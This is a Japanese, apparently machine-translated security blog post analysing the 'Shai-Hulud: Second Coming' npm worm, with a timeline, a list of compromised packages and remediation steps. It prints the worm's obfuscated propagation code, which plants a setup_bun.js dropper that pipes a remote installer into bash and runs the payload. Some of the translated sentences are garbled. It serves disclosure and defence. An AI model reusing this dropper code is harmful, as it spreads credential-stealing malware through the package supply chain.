また月曜の朝、コンピューターの前に座っています。すると、過去1時間のパッケージから、トリアージキューにマルウェアの兆候を示すアラートが山積しているのが見えます。まだ最初のコーヒーを飲み終えていないのに、Shai Huludの兆候が見えます。え、まさか誤検知?いや、ようこそ月曜日、Shai Huludが再び襲来しました。気を引き締めてください。
Shai-Huludキャンペーンのタイムライン
サプライチェーン攻撃の波を受け、npmが12月9日にクラシックトークンを失効させると最近発表したことを考えると、このタイミングは注目に値します。多くのユーザーがまだ信頼できる公開に移行していないため、攻撃者はnpmの期限前に、もう一度攻撃を仕掛ける機会を捉えました。
- 8月27日 - npm上の複数のnxパッケージを標的としたS1ngularityキャンペーンの詳細を記したレポートを公開しました。
- 9月16日 - 攻撃者が再び攻撃し、Shai-Hulud攻撃の第一波を開始しました。
- 9月18日 - キャンペーンの技術的な特徴と初期ペイロードの挙動について深く掘り下げた追跡分析を公開しました。
- 11月24日 - 攻撃者によって「再臨(Second Coming)」と名付けられた2度目の攻撃が発生しました。これは、npmが古いトークンを失効させる期限の直前に仕掛けられました。
Shai-Huludとは何ですか?:クイックリフレッシャー
攻撃者の演劇的な趣向の一環として、Duneの巨大なサンドワームにちなんで名付けられたShai-Huludは、侵害された開発環境を通じて迅速に拡散するように構築された自己複製型のnpmワームです。システムに感染すると、TruffleHogを使用してAPIキーやトークンなどの公開されたシークレットを検索し、見つかったものを公開GitHubリポジトリに公開します。その後、npmに自身の新しいコピーをプッシュしようとし、エコシステム全体に伝播させながら、データを攻撃者に流出させます。この劇的なテーマに沿って、攻撃者はこの最新の波を「Second Coming」と呼んでいます。
前回との相違点
今回の攻撃には、いくつかの重要な違いがあります。
- ファイルを使ってbunをインストールします。
setup_bun.jsそしてそれを使用して実行しますbun_environment.jsそれが実際の悪意のあるコードです。 - ハードコードされた名前ではなく、盗まれたデータを含むランダムな名前のリポジトリを作成します。
- 前回が20個だったのに対し、今回は最大100個のnpmパッケージに感染します。
- GitHubまたはNPMで認証できない場合、ユーザーのホームディレクトリ内のすべてのファイルを消去します。
シークレットの漏洩
今回、マルウェアはランダムな名前とリポジトリの説明を付けて、シークレットをGitHubにも公開します。
「Sha1-Hulud: The Second Coming.」
現在、26.3kのリポジトリが公開されています:

繰り返されるミス
これらすべてのパッケージを分析する中で、コミュニティで拡散されたと思われる、多数の侵害されたパッケージを発見しました。これらには初期のステージングコードが含まれています。 setup_bun.js, ただし、そうではありません bun_environment.js それがShai Huludワームそのものです。以下は、ワームを他のパッケージに拡散させるコードです。
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}~であることがわかります。 bun_environment.js さまざまな要因によってバンドルされない場合があります。攻撃者によって再びミスが犯されたようです。これにより、現時点での攻撃の影響が限定されたと考えられます。
侵害されたGitHubリポジトリ
AsyncAPIチームは、悪意のあるパッケージがプッシュされる直前に作成されたCLIプロジェクトのブランチが存在し、それがShai Huludマルウェアのバージョンを展開していたことを検出しました。
https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

これは、攻撃者が元のNx侵害を成功させたのと同様の手法を使用した可能性があることを示唆しています。
企業はインシデントを認識します
インシデントの性質を鑑みると、各社が迅速に事態を認めたことを、以下の投稿で確認でき、大変喜ばしく思います。
ペイシェント・ゼロ
最初のパッケージは2025年11月24日午前3時16分26秒(GMT+0)に検出されました。これらはgo-templateパッケージと、その他36のパッケージでした。 AsyncAPI。さらに多くのパッケージが急速に侵害されました。その後、2025年11月24日午前4時11分55秒(GMT+0)にPostHogパッケージの侵害を開始し、2025年11月24日午前5時09分25秒(GMT+0)にPostmanパッケージの侵害を開始しました。
どのパッケージが影響を受けますか?
新しいバージョンのShai Huludに侵害された以下のパッケージを検出しました。これら492のパッケージ全体で、合計1億3200万回の月間ダウンロードがあります。
- @asyncapi/diff
- @asyncapi/nodejs-ws-template
- go-template
- @asyncapi/avro-schema-parser
- @asyncapi/converter
- @asyncapi/dotnet-rabbitmq-template
- @asyncapi/nunjucks-filters
- @asyncapi/protobuf-schema-parser
- @asyncapi/problem
- @asyncapi/optimizer
- @asyncapi/python-paho-template
- @asyncapi/multi-parser
- @asyncapi/bundler
- @asyncapi/php-template
- asyncapi-preview
- @asyncapi/java-spring-cloud-stream-template
- @asyncapi/modelina-cli
- @asyncapi/generator-helpers
- @asyncapi/java-template
- @asyncapi/react-component
- @asyncapi/generator
- @asyncapi/server-api
- @asyncapi/java-spring-template
- @asyncapi/cli
- @asyncapi/web-component
- @asyncapi/specs
- @asyncapi/modelina
- @asyncapi/parser
- @asyncapi/html-template
- @asyncapi/go-watermill-template
- @asyncapi/openapi-schema-parser
- @asyncapi/edavisualiser
- @asyncapi/generator-components
- dotnet-template
- @asyncapi/keeper
- github-action-for-generator
- @asyncapi/nodejs-template
- @asyncapi/markdown-template
- @quick-start-soft/quick-git-clean-markdown
- @quick-start-soft/quick-markdown-image
- @quick-start-soft/quick-markdown-translator
- @quick-start-soft/quick-markdown
- test23112222-api
- @asyncapi/generator-react-sdk
- @quick-start-soft/quick-markdown-compose
- iron-shield-miniapp
- 手動請求システムミニアプリAPI
- shinhan-limit-scrap
- @strapbuild/react-native-perspective-image-cropper
- react-native-use-modal
- @quick-start-soft/quick-task-refine
- @strapbuild/react-native-date-time-picker
- @strapbuild/react-native-perspective-image-cropper-2
- create-glee-app
- @strapbuild/react-native-perspective-image-cropper-poojan31
- @asyncapi/studio
- @quick-start-soft/quick-markdown-print
- @quick-start-soft/quick-remove-image-background
- eslint-config-zeallat-base
- korea-administrative-area-geo-json-util
- @quick-start-soft/quick-document-translator
- axios-builder
- posthog-node
- @posthog/first-time-event-tracker
- @posthog/event-sequence-timer-plugin
- @posthog/gitub-star-sync-plugin
- posthog-plugin-hello-world
- @posthog/bitbucket-release-tracker
- @posthog/maxmind-plugin
- @posthog/postgres-plugin
- @posthog/twilio-plugin
- @posthog/cli
- @posthog/clickhouse
- @posthog/snowflake-export-plugin
- posthog-react-native-session-replay
- @posthog/drop-events-on-property-plugin
- @posthog/github-release-tracking-plugin
- @posthog/icons
- @posthog/geoip-plugin
- @posthog/intercom-plugin
- @posthog/plugin-unduplicates
- @posthog/react-rrweb-player
- drop-events-on-property-plugin
- @posthog/ingestion-alert-plugin
- @posthog/kinesis-plugin
- @posthog/laudspeaker-plugin
- @posthog/nextjs
- @posthog/nextjs-config
- @posthog/automatic-cohorts-plugin
- @posthog/migrator3000-plugin
- @posthog/pagerduty-plugin
- @posthog/plugin-contrib
- @posthog/sendgrid-plugin
- @posthog/customerio-plugin
- @posthog/rrweb-utils
- @posthog/taxonomy-plugin
- @posthog/zendesk-plugin
- @posthog/netdata-event-processing
- @posthog/url-normalizer-plugin
- posthog-docusaurus
- @posthog/currency-normalization-plugin
- @posthog/filter-out-plugin
- @posthog/heartbeat-plugin
- @actbase/react-native-fast-image
- @posthog/ai
- @posthog/databricks-plugin
- @actbase/react-native-kakao-channel
- calc-loan-interest
- @actbase/react-absolute
- @actbase/react-daum-postcode
- @actbase/react-native-simple-video
- @posthog/core
- @posthog/lemon-ui
- @seung-ju/next
- @seung-ju/react-hooks
- posthog-react-native
- @actbase/css-to-react-native-transform
- @actbase/react-native-actionsheet
- @actbase/react-native-tiktok
- @seung-ju/react-native-action-sheet
- @actbase/react-kakaosdk
- @posthog/agent
- @posthog/variance-plugin
- discord-bot-server
- @posthog/rrweb-replay
- @posthog/rrweb-snapshot
- @actbase/node-server
- @actbase/react-native-devtools
- @posthog/plugin-server
- @posthog/rrweb-record
- @actbase/native
- @actbase/react-native-less-transformer
- @posthog/rrweb
- posthog-js
- @posthog/web-dev-server
- @posthog/piscina
- @posthog/nuxt
- @posthog/rrweb-player
- @posthog/wizard
- @actbase/react-native-kakao-navi
- @posthog/siphash
- @posthog/twitter-followers-plugin
- @actbase/react-native-naver-login
- @seung-ju/openapi-generator
- @posthog/rrdom
- @posthog/hedgehog-mode
- react-native-worklet-functions
- expo-audio-session
- poper-react-sdk
- @postman/secret-scanner-wasm
- @postman/csv-parse
- @postman/node-keytar
- @postman/tunnel-agent
- @postman/pm-bin-macos-arm64
- @postman/pm-bin-linux-x64
- @postman/postman-collection-fork
- @postman/postman-mcp-server
- @postman/wdio-junit-reporter
- @postman/aether-icons
- @postman/postman-mcp-cli
- @postman/pretty-ms
- @postman/pm-bin-windows-x64
- @postman/wdio-allure-reporter
- @postman/final-node-keytar
- @postman/pm-bin-macos-x64
- @aryanhussain/my-angular-lib
- capacitor-plugin-apptrackingios
- capacitor-plugin-purchase
- capacitor-purchase-history
- capacitor-voice-recorder-wav
- scgs-capacitor-subscribe
- @postman/mcp-ui-client
- capacitor-plugin-scgssigninwithgoogle
- @kvytech/medusa-plugin-announcement
- @kvytech/medusa-plugin-product-reviews
- medusa-plugin-zalopay
- scgsffcreator
- @kvytech/habbit-e2e-test
- medusa-plugin-logs
- medusa-plugin-product-reviews-kvy
- @kvytech/medusa-plugin-promotion
- medusa-plugin-momo
- @kvytech/components
- medusa-plugin-announcement
- @kvytech/cli
- @kvytech/medusa-plugin-newsletter
- @kvytech/medusa-plugin-management
- @kvytech/web
- create-hardhat3-app
- test-hardhat-app
- evm-checkcode-cli
- gate-evm-tools-test
- gate-evm-check-code2
- web-types-htmx
- test-foundry-app
- web-types-lit
- bun-plugin-httpfile
- open2internet
- vite-plugin-httpfile
- @ensdomains/vite-plugin-i18next-loader
- @ensdomains/blacklist
- @ensdomains/durin
- @ensdomains/renewal
- @ensdomains/cypress-metamask
- bytecode-checker-cli
- @ensdomains/dnsprovejs
- @ensdomains/ccip-read-dns-gateway
- @ensdomains/ccip-read-cf-worker
- @ensdomains/dnssec-oracle-anchors
- @ensdomains/reverse-records
- @ensdomains/ens-test-env
- @ensdomains/hackathon-registrar
- @ensdomains/renewal-widget
- crypto-addr-codec
- @ensdomains/solsha1
- @ensdomains/server-analytics
- @ensdomains/ui
- @ensdomains/test-utils
- @ensdomains/mock
- @ensdomains/ccip-read-router
- @zapier/babel-preset-zapier
- @ensdomains/hardhat-chai-matchers-viem
- @ensdomains/ccip-read-worker-viem
- @zapier/browserslist-config-zapier
- @zapier/zapier-sdk
- @zapier/stubtree
- zapier-async-storage
- @zapier/ai-actions
- @zapier/mcp-integration
- @zapier/spectral-api-ruleset
- @ensdomains/address-encoder
- redux-router-kit
- @ensdomains/eth-ens-namehash
- zapier-scripts
- @ensdomains/buffer
- @ensdomains/thorin
- zapier-platform-legacy-scripting-runner
- zapier-platform-schema
- @ensdomains/dnssecoraclejs
- zapier-platform-core
- @ensdomains/op-resolver-contracts
- @ensdomains/ens-archived-contracts
- @ensdomains/ensjs
- @ensdomains/subdomain-registrar
- @ensdomains/unruggable-gateways
- @ensdomains/web3modal
- zapier-platform-cli
- @ensdomains/ens-contracts
- @ensdomains/react-ens-address
- @ensdomains/curvearithmetics
- @zapier/secret-scrubber
- @ensdomains/hardhat-toolbox-viem-extended
- ethereum-ens
- @ensdomains/durin-middleware
- @ensdomains/unicode-confusables
- @ensdomains/ensjs-react
- @ensdomains/content-hash
- @ensdomains/ens-avatar
- @zapier/ai-actions-react
- @zapier/eslint-plugin-zapier
- @ensdomains/offchain-resolver-contracts
- @ensdomains/ens-validation
- @ensdomains/name-wrapper
- @hapheus/n8n-nodes-pgp
- @markvivanco/app-version-checker
- claude-token-updater
- n8n-nodes-tmdb
- devstart-cli
- スキル使用
- @mcp-use/inspector
- zuper-sdk
- zuper-stream
- @mcp-use/mcp-use
- create-mcp-use-app
- mcp-use
- @mcp-use/cli
- zuper-cli
- @caretive/caret-cli
- cpu-instructions
- lite-serper-mcp-server
- @louisle2/core
- jan-browser
- exact-ticker
- react-library-setup
- orbit-soap
- @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
- token.js-fork
- react-component-taggers
- @louisle2/cortex-js
- orbit-nebula-editor
- @trigo/pathfinder-ui-css
- @trigo/jsdt
- @trigo/atrix-redis
- @trigo/eslint-config-trigo
- @trigo/atrix-orientdb
- @trigo/node-soap
- eslint-config-trigo
- @trigo/bool-expressions
- @trigo/atrix-pubsub
- @trigo/atrix-elasticsearch
- @trigo/hapi-auth-signedlink
- @trigo/keycloak-api
- @trigo/atrix-soap
- @trigo/atrix-swagger
- @trigo/atrix-acl
- atrix
- redux-forge
- @trigo/atrix-mongoose
- @trigo/atrix
- orbit-boxicons
- atrix-mongoose
- ブール式
- react-element-prompt-inspector
- trigo-react-app
- @trigo/trigo-hapijs
- @trigo/fsm
- command-irail
- @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
- @trigo/atrix-postgres
- @orbitgtbelgium/time-slider
- @orbitgtbelgium/orbit-components
- orbit-nebula-draw-tools
- typeorm-orbit
- @mparpaillon/connector-parse
- @mparpaillon/imagesloaded
- @commute/market-data
- gitsafe
- @osmanekrem/error-handler
- @commute/bloom
- okta-react-router-6
- designstudiouiux
- itobuz-angular
- @ifelsedeveloper/protocol-contracts-svm-idl
- ito-button
- @dev-blinq/cucumber_client
- blinqio-executions-cli
- itobuz-angular-auth
- @dev-blinq/ai-qa-logic
- axios-timed
- react-native-email
- tenacious-fetch
- kill-port
- jacob-zuma
- luno-api
- @lessondesk/eslint-config
- sort-by-distance
- just-toasty
- image-to-uri
- react-native-phone-call
- formik-error-focus
- jquery-bindings
- @lessondesk/babel-preset
- barebones-css
- coinmarketcap-api
- license-o-matic
- @varsityvibe/api-client
- pico-uid
- hyperterm-hipster
- set-nested-prop
- bytes-to-x
- enforce-branch-name
- fittxt
- get-them-args
- react-native-retriable-fetch
- svelte-autocomplete-select
- フィーチャーフリップ
- lint-staged-imagemin
- react-native-view-finder
- formik-store
- shell-exec
- react-native-log-level
- @everreal/web-analytics
- react-native-jam-icons
- @thedelta/eslint-config
- parcel-plugin-asset-copier
- react-native-websocket
- ra-data-firebase
- react-jam-icons
- react-native-fetch
- @ifings/design-system
- gatsby-plugin-cname
- @alexcolls/nuxt-ux
- react-native-datepicker-modal
- undefsafe-typed
- Chrome拡張機能のダウンロード
- @alexcolls/nuxt-socket.io
- fuzzy-finder
- sa-company-registration-number-regex
- flapstacks
- react-keycloak-context
- react-qr-image
- @tiaanduplessis/react-progressbar
- @lessondesk/schoolbus
- @tiaanduplessis/json
- react-native-get-pixel-dimensions
- nanoreset
- next-circular-dependency
- URLエンコード・デコード
- axios-cancelable
- 比較オブジェクト
- wenk
- haufe-axera-api-client
- obj-to-css
- sa-id-gen
- @lessondesk/api-client
- @varsityvibe/validation-schemas
- flatten-unflatten
- stoor
- @clausehq/flows-step-jsontoxml
- @accordproject/concerto-analysis
- hope-mapboxdraw
- count-it-down
- hopedraw
- @accordproject/markdown-it-cicero
- piclite
- @fishingbooker/react-swiper
- @fishingbooker/browser-sync-plugin
- generator-meteor-stock
- @fishingbooker/react-loader
- benmostyn-frame-print
- @fishingbooker/react-pagination
- @voiceflow/anthropic
- @voiceflow/voice-types
- @voiceflow/default-prompt-wrappers
- @voiceflow/npm-package-json-lint-config
- @voiceflow/nestjs-mongodb
- @voiceflow/tsconfig
- @voiceflow/test-common
- @voiceflow/husky-config
- @voiceflow/commitlint-config
- @voiceflow/git-branch-check
- normal-store
- @voiceflow/prettier-config
- @voiceflow/stylelint-config
- vf-oss-template
- @voiceflow/storybook-config
- @voiceflow/verror
- @voiceflow/alexa-types
- @voiceflow/nestjs-timeout
- @voiceflow/serverless-plugin-typescript
- @voiceflow/voiceflow-types
- shelf-jwt-sessions
- @hover-design/react
- @voiceflow/base-types
- @voiceflow/eslint-config
- @voiceflow/fetch
- @voiceflow/common
- @voiceflow/eslint-plugin
- @voiceflow/exception
- @voiceflow/dtos-interact
- @voiceflow/google-types
- @voiceflow/nestjs-common
- @voiceflow/pino
- @voiceflow/sdk-runtime
- @voiceflow/nestjs-rate-limit
- @voiceflow/openai
- dialogflow-es
- @voiceflow/widget
- arc-cli-fc
- 複合リデューサー
- 双方向アダプター
- @antstackio/express-graphql-proxy
- @antstackio/json-to-graphql
- @voiceflow/body-parser
- @voiceflow/logger
- @antstackio/eslint-config-antstack
- @voiceflow/vitest-config
- @faq-component/core
- @pruthvi21/use-debounce
- @voiceflow/api-sdk
- @hover-design/core
- @faq-component/react
- @voiceflow/semantic-release-config
- @voiceflow/vite-config
- @voiceflow/circleci-config-sdk-orb-import
- @voiceflow/backend-utils
- @voiceflow/slate-serializer
- @voiceflow/google-dfes-types
- n8n-nodes-viral-app
- @accordproject/markdown-docx
- @clausehq/flows-step-sendgridemail
- @lpdjs/firestore-repo-service
- @trefox/sleekshop-js
- インボ
- jsonsurge
- mon-package-react-typescript
- rediff
- solomon-api-stories
- solomon-v3-stories
- solomon-v3-ui-wrapper
- tcsp-draw-test
- uplandui
Shai-Hulud: Second Coming の潜在的な影響
脅威アクターは、Zapier、ENS、AsyncAPI、PostHog、Browserbase、Postmanなどの主要なものを含む数百のNPMパッケージに悪意のあるコードを忍び込ませました。開発者がこれらの不正なパッケージのいずれかをインストールすると、マルウェアはインストールが完了する前、インストール中に静かに実行されます。これにより、開発者のマシン、ビルドシステム、またはクラウド環境へのアクセスが可能になります。その後、自動化ツール(TruffleHog)を使用して、パスワード、APIキー、クラウドトークン、GitHubまたはNPMの認証情報などの機密情報を検索します。発見されたものはすべて、「Sha1-Hulud: The Second Coming」とラベル付けされた公開GitHubリポジトリにアップロードされます。盗まれたシークレットにコードリポジトリやパッケージレジストリへのアクセスが含まれている場合、攻撃者はそれらを使用してさらに多くのアカウントに侵入し、より多くの悪意のあるパッケージを公開することで、攻撃をさらに拡大させることができます。信頼されたエコシステムが関与し、数百万のダウンロードが影響を受けているため、NPMを使用しているチームは、影響を受けたかどうかを直ちに確認し、漏洩した可能性のある認証情報をローテーションする必要があります。
セキュリティチームはどのような行動を取るべきでしょうか?
- Zapier/ENS関連のすべてのnpm依存関係とバージョンを監査します。
- インストール時に使用されるGitHub、npm、クラウド、およびCI/CDのすべてのシークレットをローテーションします。
- GitHubで「Sha1-Hulud: The Second Coming」という説明のある不審なリポジトリを確認する
- npmを無効にする
postinstall可能な限りCIでスクリプトを実行します。 - パッケージのバージョンを固定し、GitHubおよびnpmアカウントでMFAを強制します。
- NPM上の悪意のあるパッケージをブロックするために、Safe-Chainのようなツールを使用します。

